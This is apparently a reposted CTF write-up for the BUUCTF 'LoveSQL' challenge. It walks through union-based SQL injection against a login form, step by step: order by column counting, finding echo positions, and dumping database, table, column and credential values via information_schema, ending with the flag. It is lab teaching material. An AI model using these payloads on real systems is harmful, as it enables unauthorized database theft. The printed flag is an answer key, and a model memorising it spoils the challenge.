BUUCTF-WEB:[极客大挑战 2019]LoveSQL 1


工具:Firefox,hackbar
这是一道非常常规的SQL的union联合注入的例题

步骤:

union联合注入过程

第一步、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型

payload:?username=1'%23&password=123         =====》NO,Wrong username password!!!此时是在url中输入的,所以不能用#,而用其url编码%23
                 ?username=1&password=123                =====》NO,Wrong username password!!!

第二步、利用order by查表的列数

payload:?username=1' order by 1 %23&password=123       ======》NO,Wrong username password!!!
payload:?username=1' order by 4 %23&password=123       ======》Unknown column '4' in 'order clause'

可知表有3列

第三步、如有回显,找到回显位(回显,就是显示正在执行的批处理命令及执行的结果等)

payload:?username=1' union select 1,2,3 %23&password=123 

得知2、3是回显位


第四步、利用union select 爆库、爆表、爆字段名、爆值

payload:?username=1' union select 1,2,database() %23&password=123 【查看数据库名==》geek】

payload:?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=123【查看表名==》geekuser,l0ve1ysq1】
或者/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

payload:?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=123【查看列名===》id,username,password】

payload:?username=1' union select 1,2,group_concat(username) from geekuser%23&password=123【爆值,爆geekuser==》无果


payload:?username=1' union select 1,2,group_concat(username,id,password) from l0ve1ysq1%23&password=123【试试爆l0ve1ysq1==》得到flag

得到flag:flag{5f7db3c7-1ce1-44d7-9d7d-892f8c66a671}

联合注入知识点不清楚查看:https://blog.csdn.net/Waffle666/article/details/111410039

猜你喜欢

转载自blog.csdn.net/Waffle666/article/details/113200939